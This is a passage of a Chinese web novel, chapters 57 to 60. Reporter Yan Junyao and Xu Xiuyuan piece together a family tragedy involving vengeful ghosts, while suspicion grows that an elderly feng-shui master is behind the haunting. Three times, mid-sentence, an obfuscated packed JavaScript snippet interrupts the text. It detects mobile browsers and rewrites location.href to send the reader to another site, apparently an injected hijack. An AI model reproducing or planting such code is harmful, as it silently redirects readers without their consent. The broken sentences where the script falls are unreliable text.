等到吃完晚饭,颜珺瑶正摸着肚子坐在客厅看电视时,许修远发来了微信。 【慢慢吃。】 颜珺瑶正琢磨着怎么回复,电话就进来了,是许修远打来的。 她瞥了一眼正盯着电视屏幕的老妈老爸,拿着手机进了自己的房间。 她刚“喂”了一声,就听到许修远笑了笑,问道:“吃饭了吗?” 颜珺瑶躺到床上,“吃了,你刚下班?” 许修远“嗯”了一声,颜珺瑶闻言,赶紧说道:“哦,我只是想跟你说,你不要再送了,我都不敢收了。” 许修远失笑,“好!” “……”颜珺瑶转了转眼睛,好像也没什么说的,于是说道:“那你先去吃饭,这都快八点了。” 电话里突然安静了下来,颜珺瑶看了一眼手机屏幕,还在通话中。 她又“喂”了一声,那边的许修远这才说道:“嗯,珺瑶,谢谢你。” 颜珺瑶笑嘻嘻地,“客气啥,我得了好些好东西,我也得谢谢你。 对了——” “嗯?怎么呢?” 颜珺瑶本想问他明天中午是否有空,但是又不能确保自己明天中午就一定有时间,会不会在外面,想了想,于是便改口道:“哦,没什么事,你要注意身体,赶紧去吃饭吧!” “……好!” 结束通话,颜珺瑶盯着天花板出神。 白天的时间真不好说,只能是晚上和他见面才比较方便—— 要不——就选个人多的地方吧? * 张熙杰送回家吃了晚饭,就立马去了医院,换父亲晚上回家休息,今晚他来陪床。 但郑贺今不同意,在得知他第二天休息时,这才同意回去。 汤明山见状,对张熙杰说道:“你也回去吧,我现在还没动手术,不用人照顾。” 张熙杰只是笑笑,还是躺到了旁边的陪护床上。 次日下午,在父亲过来之后,张熙杰就离开了医院,但并没有回家,而是去了三环路,继续调查昨晚的那个外卖员。 但跑了一下午,却一直没找到这个人。 张熙杰难免有些失落,下车进了附近的一家小超市买了瓶水,站在路边刚拧开了瓶盖,不远处就有一辆电动车慢悠悠地朝这边驶来。 张熙杰差点把自己呛到,眼看着对方就要拐到边上的一条小巷子,他赶紧跑了上去。 幸亏对方车速不快,张熙杰跑了一段路,终于追上了。 张大旗停下了电动车,一脸戒备地看着他,“你——你是谁啊,要做 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16144701|177567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么?” “别害怕,别害怕——”张熙杰一边说着,一边从口袋里摸出了早就准备好的一千块钱,塞到对方手里,“我是想向你打听点事情。” “……”张大旗却不敢收,把手往后缩,盯着他手上的那叠现金,迟疑了几秒,才问道:“你要打听什么?” 张熙杰笑了笑,“前天傍晚,有一位中年男人让你送一份东西,请问送的是什么,又是送到哪里,送给谁?” 张大旗顿生警觉,“你怎么知道?你到底是谁?” “我当时刚好看到的,你别担心,我只是——在做一些调查。” 张大旗瞪大了眼睛,“你是警察?” 张熙杰不敢随意假装警察,“我不是警察,是记者,你放心,我不会把你说出去的。” 说着,他掏出自己的记者证。 张大旗看到新闻记者证几个大字,转了转眼珠子,“那个中年男人不会是——通缉犯吧?” 张熙杰笑起来,“不是,不是,误会了,他对我有大恩。” “哦,这样啊——”张大旗了然,又瞥了一眼他手上的现金,“可我答应了对方不能说出去的。” “放心,我保证不会把你说出去的。”张熙杰说着,就把一千块钱再次塞到对方手里。 张大旗轻咳一声,没再拒绝。 “就是一个木盒子,里头只有一封信,薄薄的,其他的就没有了。” “那——是送到哪里呢?” 张大旗有些为难,“你不会要做什么坏事吧?这个地址不能说的,我有我的职业操守。” 张熙杰没有勉强,“那他让你把信送给谁呢?” “他没说具体名字,只说是给许老先生。” 许老先生? 张熙杰瞳孔一震,确认道:“是言午许还是双人徐?” 张大旗摇头,“哎呀,那人说话有点口音,他告诉我这么说就可以,不会有问题,我也就没问那么仔细。” 话音落下,他就要离开,张熙杰又多塞了五百块钱给他。 “最后一个问题,他是不是让你送到东湖路?” 张大旗不自在地“嗯”了一声,而后加速往前驶去。 张熙杰怔怔地站在原地,许家老宅就在东湖路上,所以父亲的那封信是给许许忠林送的? 他猛地又想起了那张一家三口的合影,不,确切地说,应该是爷爷让父亲送的。 父亲一直以来都非常孝顺,很少忤逆爷爷,爷爷让他做的事情,他基本上都会去做的。 也就是说,是爷爷给许忠林送的信,他们之间又会有什么关系呢? 难道爷爷也是施晓梦和许天佑的儿子,他和许老爷子是同父异母的兄弟? 想要认祖归宗? 不,不,不—— 张熙杰直觉绝对不会是这种可能,但他可以确定的是,爷爷一定和施晓梦或者是许薇萍有关系。 * 下午四点多的时候,颜珺瑶抽空给许修远发了微信,表示晚上想请他吃饭,顺便跟他说点事。 许修远自然答应,两人商定去第一次一起吃饭的那家火锅店,许修远想要去接她,颜珺瑶拒绝了。 【我坐地铁过去更快,不会堵车。】 许家的车子都是豪车,太高调了。 上次许忠林派去的车子停在小区正对面,就引起了不少人的好奇。 这一两天,小区保安大叔看她的眼神透着探究。 而且主任说是没把许忠林请她帮忙的事情说出去,但谁知道呢?他的嘴信不过,张熙杰不就知道了? 他会告诉张熙杰,就有可能也跟别人说了,要是被人看到,流言蜚语不就来了? 最最重要的是,她担心要是坐许修远的车,自己要是突然就变成另一个人—— 如果又抢方向盘,或是对许修远动手—— 那就完蛋了! * 正如颜珺瑶所想的那样,地铁确实很快,不仅没有堵车,她还提前到了火锅店。 没想到许修远比她来得更早,包间都已经订好了。 点好菜,颜珺瑶终于把纠结了一路的话说出来。 “如果待会儿我突然不是我了,你赶紧离开这里,不要留下来,她们母女——应该不会伤害我的。” 许修远深深地看着她,颜珺瑶见他不回答,伸手在他面前晃了下,再次强调:“你一定要赶紧跑。” 她抓了抓脸,“虽然我感觉她们母女目前来看,不是冲着伤害你和你爷爷的,但还是以防万一,人的想法不会是一成不变的。” 58. 第 58 章 许修远收回了视线,又忍不住看她,“你不怕她们伤害你吗?” 颜珺瑶愣了下,“应该不会吧,我问过许薇萍,是不是因为我长得和她妈妈比较像,所以跟着自己,她说是。我想着她们是想用我这张脸吓唬你们,特别是你爷爷,毕竟他见过沈新柔。而且我跟她们母女也没有什么恩怨,所以——应该不会吧——” 说到最后,她自己都有点不确定起来,要说伤害的话,其实还是有的,她明显感觉这段时间自己的体力精力不如以前。但汤爷爷说了,这一切躲不掉,只能熬,熬过去就好了。 她想了想,觉得还是要把正事先办了才好,免得待会儿自己又被夺舍了。 颜珺瑶刚把银行卡从包里掏出来,要开口说话时,服务员就推着餐车进来送菜,她又把东西给塞了回去。 许修远注意到她的动作,等到服务员出去,便问道:“刚才是不是想说什么?” 颜珺瑶不自在地笑了两声,从包里拿出一张银行卡,起身放到他面前。 许修远一愣,皱眉问道:“这是?” 倏地,他想到了什么,抬眸看向她,而颜珺瑶的回答也印证了他的猜测。 “这是那位宗叔寄给我的,也是许老先生的意思,里头有五十万,你帮我还给你爷爷吧!” 许修远一时不知道该说什么,只听颜珺瑶又笑呵呵道:“我是喜欢钱,不过这不是我赚的,我不敢拿。要是我爸妈知道了,会打死我的。” 许修远默了一瞬,“这是他欠你的,你不用有压力。” 颜珺瑶愣了下,笑起来,“你不是替他老人家还了吗?我家里那么多好东西就是证明。虽然那天有点不愉快,不过是我自己答应去帮忙的。而且——” 她开始把菜下到锅里,继续说道:“即使我那天没有同意,沈新柔和许薇萍也有可能哪一天会借着我的身体去找你爷爷。所以,有些事我也躲不掉的。就麻烦你帮我转交给许老先生吧,谢谢啦!” 许修远没有勉强,点了点头,她长舒一口气,放心地开吃。 * 刚吃了一会儿,就听许修远突然说道:“我觉得你的猜测是对的。” “嗯?什么猜测?”颜珺瑶一下子没明白。 “关于当年的真相,我爷爷对我说的和他告诉你的基本上一样,我也觉得他说的不全是真的。也许是他有所隐瞒,也许是他当时年幼,他所知道的这些也是长辈告诉他的。 我相信三姑奶奶是被大姑奶奶带出去的,她的项链也是被大姑奶奶抢走的。那条项链是我太爷爷在三姑奶奶刚出生的时候,专门找人给三姑奶奶定做的,镶着红宝石的蝴蝶项链,家里的孩子只有三姑奶奶有。” 颜珺瑶脑子里闪过这两个字,嫉妒。 以许家的家世,许家的大小姐,想要什么样的珠宝首饰没有,但是家里姨太太的女儿却能得到父亲的特殊对待,可她却没有。 许修远继续说道:“你也知道,其实在三姑奶奶之前,二太奶奶还有过一个孩子,就是我太爷爷的长子,许承望。我大爷爷当时是由我太奶奶抚养,记在了我太奶奶名下,不过——” 他顿了下,深吸了一口气,惋惜道:“最后没了。” 颜珺瑶一下子瞪大了双眼,下意识地问道:“怎么会没了?怎么没的?” “我爷爷说是因为生病。我大爷爷交给我太奶奶抚养之后,不到一年我太奶奶有了身孕,之后就生了我爷爷。我爷爷还没满月,我大爷爷就没了。” “……” 颜珺瑶沉默了下来,不是她内心阴暗,但可她没办法不多想,不怀疑。 但毕竟是许修远的家人,她不便评价,也感谢许修远对她的信任,愿意把这些事情告诉她。 她抬眸瞥了许修远一眼,他似乎和她有同样的怀疑。 第一个孩子交给大太太抚养,孩子没了,第二个孩子被大太太的大女儿带出去,出了事也没了,换做任何一个母亲都会发疯崩溃,难怪沈新柔有那么深的怨念。 许修远继续道:“之后二太奶奶就又有了孩子,也就是我三姑奶奶,许薇萍。但是——在四岁的时候,出了车祸。我爷爷说二太奶奶因为受了太大刺激,疯了,最后在三楼那个房间里上吊自杀,还留下了一条帕子,上面绣着一句话。” 锅里的汤沸了,颜珺瑶赶紧调小了火力,就听许修远缓缓地说出了那句话。 “我死之后,必成厉鬼,许家上下,终日不安,断子绝孙。” 颜珺瑶震惊在当场,不停地咽口水,双手都有些微微发抖。 这句话,怎么有点熟悉? 许修远倒了一杯橙汁放到她面前,颜珺瑶端了起来,猛喝了一大口,好半晌才平复了情绪。 她垂着双眼,突然间想起来了。 * 包间了一时安静了下来,只有锅里咕噜咕噜的声音响着。 能耐心在帕子上绣出这么多字的人,而且还是引用的《霍小玉传》中的句子修改的,条理清晰,这样的人会是疯子吗?沈新柔到底是真的疯了,还是只是被人说成是疯子? 疯子的话都是胡言乱语,能相信吗?自然不能。那么沈新柔即使跑到外面去说是许家大小姐害死了自己的亲妹妹,也不会有人相信。 不过,沈新柔都被人说成是疯子了,那她还会有自由吗?想必应该是没有的。 她想到一个人,一个关键人物,那就是许修远的太爷爷。 两个亲生孩子前后出事,而且都似乎和他妻子及其女儿有关,难道他没做点什么吗? 颜珺瑶倏地看向男主,问道:“你太爷爷——调查过这两个孩子的事情吗?” 许修远无奈地叹了口气,说道:“我爷爷说调查过,而且都是亲自调查的,他说大爷爷确实是病逝的,三姑奶奶的死也和大姑奶奶无关,只是意外。” 他的视线和颜珺瑶的相碰上,彼此读懂了对方眸中的未尽之言。 不可能。 如果说沈新柔的儿子在大太太手上病逝的,倒是有可能的,但不管如何,大太太难逃疏忽之责。可之后沈新柔的女儿又出了事,而且还可能和大太太的大女儿有关,这就不得不让人多想,真的是意外吗? 沈新柔直指大太太的大女儿,不仅如此,许薇萍还多次亲口说了是大姐姐把她带出去的,以带她去找爸爸为由把她骗出去。 这一切,琢磨起来,真是令人骇然。 还有许修远的太爷爷既然调查过,那么很可能是知道真相的。但从她和许修远的到处打听中,可以看出来,知道沈新柔的人,对于当年的事情,都以为只是意外。 这就说明,当时许家把事情压了下来,外人根本不知道许薇萍的死和许家大小姐有关,也没有人怀疑沈新柔第一个孩子的死是否和大太太有关。 许修远太爷爷做了什么?似乎并没有做什么,否则不会同意家里人把沈新柔说成是疯子,只为了保住他大女儿的名声,家族的名声。 颜珺瑶咕咚咕咚地把橙汁喝光,开始吃菜,但却有些没滋没味。 * 许修远又给她倒了一杯橙汁,“还有一件事,二太奶奶本名并不是沈新柔,当年是我太爷爷为了让家里的长辈同意,给她编造了一个身份,出生于落寞的书香世家,还在进门前让她学了钢琴和外语。而且二太奶奶在许家那么多年,她的家人不知什么缘故都没有来看过她,最后在她的葬礼上,只有她的父亲来了,带走了她们母女的几件衣物。” “那她本名叫什么?” “只知道姓施,全名并不清楚,我爷爷也不知道。” 颜珺瑶觉得奇怪,“你太爷爷不是知道吗?” “他应该是知道的,但我太爷爷自从二太奶奶走了之后,就变了一个人,不允许任何人提起她,他也从不在别人面前说到她。不过后来我太爷爷无意中说过,二太奶奶的父亲是个木匠,而且还懂阴阳风水。” 颜珺瑶在心里冷笑,人没了,开始愧疚了,装给鬼看吗?真是可笑。 许修远又道:“前段时间,我家老宅后院的一个雕塑碎了,地面也突然裂了,挖出来两个小棺材。” 即使见过鬼魂,也被鬼魂上过身,但听到这句话,颜珺瑶还是不禁汗毛倒竖,嘴唇微微抽动了两下,“不会上面刻着沈新柔和许薇萍的名字吧?” 许修远摇头,“里头分别放着二太奶奶和三姑奶奶的衣物,棺材盖上面刻着两人的生卒年,里面还贴着黄符。之后我爷爷打算把二太奶奶和三姑奶奶的墓迁到许家墓园里,但是却发现她们俩的棺木中没有尸骨。 不是被人盗墓,因为棺木里还有几件之前的陪葬品,所以只能是有人特意带走了她们母女的尸骨,很可能就是她的家人。之后,我爷爷想把这两个小棺材葬入墓园,但两次路上都出了事,都没能成功。” 今晚许修远给的信息太密集了,颜珺瑶眨了眨眼睛,消化了一会儿之后,第一反应就是沈新柔母女居然不是葬在许家墓园里。 她的拳头有些硬了,当时的许家人,真的是可恶至极。 而许修远的太爷爷居然也同意了,即使他对沈新柔没了感情,许薇萍怎么说都是他的亲生骨肉,难道不是许家人吗? 太TM过分了! 她忍了忍,还是没忍住,“她们俩为什么没有葬在你们家墓园呢?” 许修远放下了筷子,捏了捏眉心,“说来挺可笑的,当时族里人觉得三姑奶奶是意外身亡,不吉利,而且她的生辰八字不好,会影响墓园的风水,所以我太爷爷就在墓园边上选了一块地,把三姑奶奶葬在那里了。 至于二太奶奶,也是族里人认为她是自杀的,不吉利, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16148925|177567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 而且想让她和三姑奶奶作伴,所以就葬在了三姑奶奶边上。” “……”TMD—— 颜珺瑶深吸了一口气,把到了嘴边的脏话咽了回去,心里暗骂。 吉利个鬼,吉利到害死了自己的子孙就满意了?一群白痴。 包间了安静了许久,两人都没再动筷子。 好半晌,颜珺瑶才吐出一口气,“你爷爷觉得那两个小棺材,还有偷走两人尸骨的,是沈新柔的亲生父亲?” 许修远“嗯”了一声,“我爷爷说后院被设置了很阴毒的阵法,二太奶奶的父亲应该是把她们母女安葬到其他地方,我爷爷派人去找过,但一直没有找到。” “两个小棺材埋在你们家老宅后院,这么多年没被发现,肯定是埋的比较深,你们家那么多人,沈新柔的父亲是怎么偷偷进入做的这事儿?你们家当年是不是搬过家,老宅空置过?” 许修远点头,“嗯,我爷爷还小的时候,家里因为一些特殊原因,搬去了其他住处住过一段时间。” 原来如此。 “沈新柔的儿子,是葬在你们家墓园对吗?” “嗯,在里面。” 颜珺瑶很快明白过来,不禁讥笑出声,因为他名义上是大太太的儿子。 重新开始下菜,她突然又说道:“也许她们母女要的并不是葬到你们家祖坟,而是想要真相,想要你们许家的道歉,拿回她们的东西,比如那条项链。” 许修远浑身一震,眸光微动,心中惊涛骇浪。 * 吃完火锅,颜珺瑶发现许修远早就付了账,明明说好了她请他吃饭,但最后付钱的居然还是他。 颜珺瑶有些不好意思,许修远笑了笑,没说什么。 走出火锅店,许修远想要送她回家,颜珺瑶委婉地拒绝了。 “时间还早,我还是坐地铁,多走两步正好消消食。” 许修远明白她的顾虑,觉得心里有些不好受,颜珺瑶像是知道他在想什么,笑呵呵地说道:“你别担心,也不要多想,事情都会过去的,一切都会好起来的。” “嗯。” 许修远坚持要陪她走到地铁站,从这里到地铁站不算远,颜珺瑶没再拒绝。 差不多到地铁口的时候,颜珺瑶的手机突然响了起来,是个陌生号码。 “颜记者——” 听到手机里传来的声音,她脑子里的第一个想法是:呸,真倒霉! 居然是史大军,又是史大军! 自从孟可馨和她见面之后,史大军就再也没有纠缠她了,可怎么今天又突然抽疯了? 她真想给自己一巴掌,怎么就忘了拉黑呢? 正要挂电话,对面又说话了。 “别急着挂,我已经放弃追求你了,今天是特意来恭喜你的!” “?”颜珺瑶一愣,恭喜她?她现在有啥可恭喜的吗? 就算有,史大军又怎么会知道! 史大军暧昧不明地笑了,“我恭喜你觅得良缘,许家可不是一般人家,希望你和小许总能走到最后。” 不远处传来一声喇叭声,颜珺瑶下意识循声望去,看到一辆黑色轿车正停在路边,驾驶座的车窗开着,而史大军那张令人讨厌的脸,正看向她这个方向。 “……”难怪! 颜珺瑶暗骂一声有病,在挂电话前,又听到史大军又阴阳怪气地补了一句:“希望你能有本事进许家。” 很快,那辆车子开走了。 许修远顺着颜珺瑶的视线瞥了一眼,才知道是谁给颜珺瑶打的电话。 “史大军还纠缠你吗?” “没,”颜珺瑶摇头,“就是说了一些莫名其妙的话。” 说完之后,突然愣了一下,反应过来,原来许修远知道了她上次联系史大军老婆的原因。 上次孟可馨会突然对她转变态度,也许和他也有关系。真是多亏了他,不然自己还不知道要被停职多久。 许修远轻轻“嗯”了一声,没再说什么。 到了地铁口,颜珺瑶笑眯眯地跟他挥了挥手,但刚往前走了几步,脑子里突然跳出一件事。 她倏地转身,发现许修远居然还站在原地目送她。 她愣怔了片刻,许修远见她回头,紧走几步到她面前,就听颜珺瑶问他:“你刚才说沈新柔其实是姓施,是方人也那个施吗?” 许修远愣了下,这个发音的姓,大部分人会下意识觉得就是这个方人也的“施”姓。 可百家姓里应该是有其他的同音姓,比如“师”、“失”,甚至是“诗”等,虽然这几个字都很少见,但谁能直到沈新柔的本姓就是个大众姓氏呢? “可能是,但不确定。我回去问问我爷爷。” 不过,许修远觉得爷爷大概率也是不能百分百确定的。 59. 第 59 章 回到家里,洗过澡,喝了老妈特意给她炖的汤,颜珺瑶躺到床上,脑子里一直想着张熙杰今天下午的那句话。 “珺瑶,你家里有姓施的亲戚吗?” 他为什么会突然这么问?只是巧合吗? 她腾地从床上坐了起来,给张熙杰发了条微信语音,问他今天下午问的是不是方人也的那个施姓。 张熙杰直接打了电话过来,“你怎么突然想起这个?” 颜珺瑶轻咳一声,找理由道:“哦,我刚才无意中看到有人姓诗,诗词的那个诗,还有姓师父的那个师,所以有些好奇你问的是不是这个比较常见的施姓。” 张熙杰顿了顿,才笑着说道:“当然是方人也的施,我还不清楚另外两个也是姓。” 颜珺瑶笑呵呵地,“对了,你怎么突然问我这个?我还以为你是有了新选题,想要采访一些稀有姓氏,所以才问我。” 张熙杰不答反问,“珺瑶,我想问你,你和——许修远是在一起了吗?” “啊——”颜珺瑶很是吃惊,他怎么会这么误会的? “当然没有啊!我和他就是普通朋友。” 张熙杰突然笑起来,“你早点休息,好好睡一觉。” 挂了电话,颜珺瑶才意识到,张熙杰还是没回答自己。 不正常。 * 张大旗今天休息,意外赚了一笔钱,一千五百块钱。 虽然今天这个男人没有之前那个大方,一出手就是五千块,而且还说了以后自己要是找到那个人,他还会重谢。 不过一千五百块,也不少。 他溜了溜眼珠子,纠结了许久,还是拨通了不久前刚存的那个号码。 说不定那个贵公子觉得自己给的信息有用,还会再给自己一笔钱呢! 电话响了几声,接了起来,听到对面“喂”了一声,张大旗回忆了一下,这声音确实像是当天那个年轻男人。 于是他自我介绍道:“哦,那个,我就是前几天给许老先生送信的。” “嗯,你好,请问是有什么事吗?你又见到那个中年男人了?” 张大旗解释道:“不是,但今天有个二十多岁的男的找我了,说是那天他无意中看到了那个中年男人找我送东西,问我对方送了什么,送给谁,送到哪里。不过您放心,我什么都没告诉他。我觉得这人可能是在跟踪那个中年男人,这人很不对劲。” 许修远把车子靠边停下,“对方叫什么名字,长什么样呢?” 张大旗下意识摇头,“名字不知道,不过他说自己是记者,长相嘛,挺高的,至少一米八吧,身材挺结实的,头发比较短,长得很精神。” 许修远确认道:“他是记者?” “对,他自己是这么说的,还亮了一本新闻记者证给我瞅了一眼。不过您放心,我什么都没告诉他。” 许修远沉默了片刻,拿出另一部手机操作了一番,“谢谢,钱已经转给你了。” 结束通话,张大旗着急忙慌地去看自己的支付宝,一看,差点激动地跳起来。 五千块,就是这么简单! * 车子依旧在路边停着,张熙杰的形象在许修远脑子里浮现,和快递员所形容的都能对上。 他狠狠皱着眉头,这件事和张熙杰怎么会扯上关系呢? 快递员说的没错,张熙杰很可能是一路跟着那个中年男人的,不太可能是路过的时候看到。 而且中年男人又是帽子,又是口罩,如果只是无意中看到,不一定能认出来,除非是非常熟悉的人。 比如——他的父亲。 如果那两封信都是张熙杰父亲找人送的,从年龄上来看,那么有可能是他爷爷,也就是那位汤老先生让他做的,问题是,汤老先生会是沈新柔的家人吗? 侄子?外甥?还是——弟弟? 如果汤老先生就是二太奶奶的家人,那就很好解释为什么颜珺瑶会被卷进这件事情里。 因为汤老先生一早就认识颜珺瑶,自然是知道她和沈新柔长相相似,所以动了要利用她的念头。 须臾间,他又想起了一件事。 颜珺瑶出车祸的时候,汤明山恰好在现场,他帮忙报的警,也跟着救护车去了医院。颜珺瑶说过,她醒来之后发现自己包里的两张符纸不见了,那两张符纸是分别塞在荷包里的,而两个荷包则是放在包的侧袋里。 如果说是有人趁乱想偷东西,但颜珺瑶的手机却没丢,所以很有可能是故意被人拿走了。 他要是没记错的话,那两张符纸里头,一张是那位严婆婆给的,而另一张就是汤明山给的。 汤明山有可能会拿走那两个荷包吗?那两张符纸—— 会有什么问题吗? 许修远越想越觉得汤明山可疑,可问题是,汤老先生并不姓施—— 蓦地,他想到了一件事,汤明山的孙子,也就是张熙杰,姓张不姓汤,很可能是随母姓,那么有没有可能汤老先生也随母姓呢? 半晌,他拨通了助理的电话,“查一下张熙杰家里的情况,特别是他爷爷汤明山,越详细越好。” * 接下来的几天,一切正常,颜珺瑶过得非常充实,觉得似乎又回到了以前的日子。 沈新柔和许薇萍也没有再出现过,她能明显感觉到自己的精神好了不少。 当然,这主要还是归功于老妈炖的补汤,还有外公给的中药。 许修远给她打过电话关心她的身体情况,又打算请她吃饭,她还是婉拒了。 虽然上次晚上一起吃饭,自己全程都很正常,都是她,但不代表下一次还能如此,她不敢冒险。 为了他,更是为了自己。 许修远知道她的顾虑,也没有在意,但还是每天都会问一问她的身体。 颜珺瑶发现,张熙杰似乎有些不太对劲,但又说不出来哪里不太对劲,就是有些变化。 她以为他是担心汤爷爷的手术,询问手术时间是否定了下来。 “嗯,还有等一段时间,老头子在医院待不住了,囔着要回老家住,等手术那天再回来。这肯定是不行的,不过前天他还是回了一趟我那边,住了一晚上,心情才好些了。 昨天医生说他的一项指标有些波动,还要继续住院,他又不高兴了,今天又提了回老家的事情,说是不想动手术了。” 颜珺瑶想起爸妈前几天去看过汤爷爷,回来时确实说了老人家开始有些不乐意动手术。 其实她可以理解汤爷爷的感受,在老家住了一辈子,自由自在,现在成天待在医院里,像是被困住了,肯定觉得拘束。 下午出现场回来,张熙杰一头扎进了编辑机房,临近下班时,颜珺瑶注意到他才从机房出来,就立马进了主任的办公室,而且从办公室出来之后,直接离开了,很是匆忙。 颜珺瑶抬头瞥了一眼墙上的挂钟,还有一个多小时才下班,张熙杰很少会早退,难道是汤爷爷情况不好? 她赶紧给张熙杰打了电话,问他是不是出了什么事。 “我爸让我过去一起和医生商量一下手术的一些情况,没什么事。” 颜珺瑶这才放了心,下班之后,直接去了外公外婆家。 到的时候,爸妈已经在厨房帮忙了。 外婆拉着她坐在客厅,外公给她诊了脉。 “身体还是有些虚,气血不足,但比前几天好些了。” 老爸在家里给她把过脉,说的和外公大差不差,但老人家还是要亲自上手才会放心。 外婆高兴地一直摩挲着她的手,又摸摸她的脸,“看来你妈没偷懒,有好好地给你补着。” 钱艺文从厨房探出头,“妈,你可别背着我说我坏话,说谁懒呢!” 外婆朝闺女嫌弃地挥了下手,“去去,忙你的去,就你耳朵灵!” 颜珺瑶笑眯眯地看着,她最喜欢看外婆和老妈这母女俩斗嘴了。 很快,晚餐就上桌了。 吃饭期间,外婆提起汤明山的病,说是大前天他和外公一起去医院看了,感觉精神头还成。 钱艺文和丈夫对视了一眼,问钱伟诚道:“爸,你瞧着汤叔情况怎么样?” 颜珺瑶也看向外公,却见外公脸上没什么笑意,只是淡淡地说了句:“先等手术做完再看吧。” 颜珺瑶不禁皱眉,看来汤爷爷情况不好? 她记得汤爷爷的癌是中期的,转移的范围不大,医生说有一定的成功率。 如果成功了,还有几年的存活期。 外婆的话重新吸引了女主的注意力。 “老汤的儿子儿媳还有孙子都很孝顺呀,特别是熙杰那孩子,太懂事了。我和老钱前脚去看了老汤, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16158862|177567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 第二天他还特意提着东西过来说谢谢,还跟我们俩聊了好一会儿。” 晚饭后,一家人又说了会话,钱艺文和颜志华就回去了,而颜珺瑶留下来过夜。 外婆拉着她又说了许久的话,再次提到了张熙杰,夸他孝顺,懂事,踏实。 说到最后,她突然提起了一件事。 “对了,那孩子还问了我一个奇怪的问题。” 颜珺瑶好奇,“什么问题?” “那孩子问我,咱们家有没有姓施的亲戚,我还想了老半天,印象里就记得你姨婆的女婿,还有你外公堂弟的三女婿,好像是这么两个。” 颜珺瑶一怔,“那他有说为什么打听这个吗?” “我问他是不是在调查什么新闻,那孩子只是笑了笑,我也就没多问。” 临睡前,颜珺瑶躺在床上,把这几个月的事情在脑子里过了一遍,莫名觉得好像有什么是自己忽视的。 她腾地从床上起来,坐到了书桌前,拿了纸笔,按时间顺序把前后的事情仔仔细细地列出来,真的发现了一些自己以前一直没有注意到的地方。 她觉得很奇怪,自己一开始目睹了许耀中的车祸,其实那会儿只是隔着挺远的距离看到那个许薇萍,之后发了几天烧也就没事了。 但自从清明节回了一趟老家,之后才开始真正出现那些奇怪的事情。第一件就是开始梦到沈新柔,要是她没记错的话,自己第一次梦到沈新柔就是那几天在爷爷奶奶家里,她喝了混有符灰的鸡汤的那天。 接下来自己又在凌晨十二点连续两晚看到了许修远的幻影,开始真正被许薇萍缠上,开始出现被绳子勒脖的窒息感,被上身。 当时,她在爷爷奶奶家,是喝了一大碗混了符水的鸡汤,而那张符就是爷爷从汤爷爷那里求来的。 那张符是有什么问题吗? 还有一点,在赵敬鸿眼里,汤爷爷十分厉害,甚至他的师父毕老先生都自愧不如,但严婆婆都能看出来跟着她的是个小女孩,而且还是被人养了几十年的,汤爷爷却没看出来。 对于这一点,当时赵敬鸿也颇感诧异。 再有,自己出车祸的那天,汤爷爷恰好就出现在那附近,一路陪着她去了医院,而之后她包里的两张平安符就突然不见了,其中一张是严婆婆给她的。 要是她没记错的话,好像严婆婆给了那张平安符之后,自己似乎真的没再见过许薇萍。可车祸发生之后,也就是在两张平安符丢了之后,就出现了被许薇萍上身的情况,精气神和体力也不如以前。 自己出事那会儿,汤爷爷是第一时间出现在她身边,他似乎是有机会能拿走她包里的那两个荷包。 如果汤爷爷就是幕后的那个人,那么他是什么时候决定把她拉入他的复仇计划? 是从一开始就已经决定了,还是从爷爷跟他求符,说自己孙女碰上不干净的东西的时候开始的? 蓦地,她脑子里冒出了一个可怕的念头,拿起手机给许修远发了微信,问他是否睡了。 许修远很快回复说没有,问她是不是有事。 颜珺瑶直接拨通了他的电话,“许修远,我有个不情之请,说出来可能有些冒昧——” 许修远笑着打断她的客气话,“没事,你说。” 颜珺瑶深吸了一口气,“当时许叔叔出事时周围完整的监控视频,你——能拿到吗?” 她担心许修远会误会,赶紧解释:“你放心,我不是要传出去,我只是——想找一个人。” 许修远没想到颜珺瑶会问这个,愣了下,也没问她要找谁,回道:“我手上就有,现在马上发给你。” 挂了电话,颜珺瑶手机上就收到了一个压缩包。 她没带电脑过来,急忙跑到书房,打开了里面的台式机。 登录邮箱,下载压缩包,解压,桌面上多了一个文件夹。 一打开,里面确实有好几段视频,应该是不同角度的监控摄像头拍下来的。 打开第一个视频,点击全屏,画面还算是清晰,但不少路人的脸拍得不太清楚。 颜珺瑶下意识地凑近了电脑屏幕,一帧一帧地看,一个人一个人慢慢地仔细观察,看到最后眼睛都快花了,甚至都出现了重影,还是没有找到熟悉的人,哪怕是有几分相像的都没有。 她刚打开第二个视频,书房外就有了动静。 60. 第 60 章 颜珺瑶一惊,手上的动作顷刻间顿住,凝神听着外面。 不一会儿,外婆的声音就在书房门外响起。 “是瑶瑶在里面吗?” 颜珺瑶这才松了一口气,赶紧关了视频,应道:“外婆,是我。” 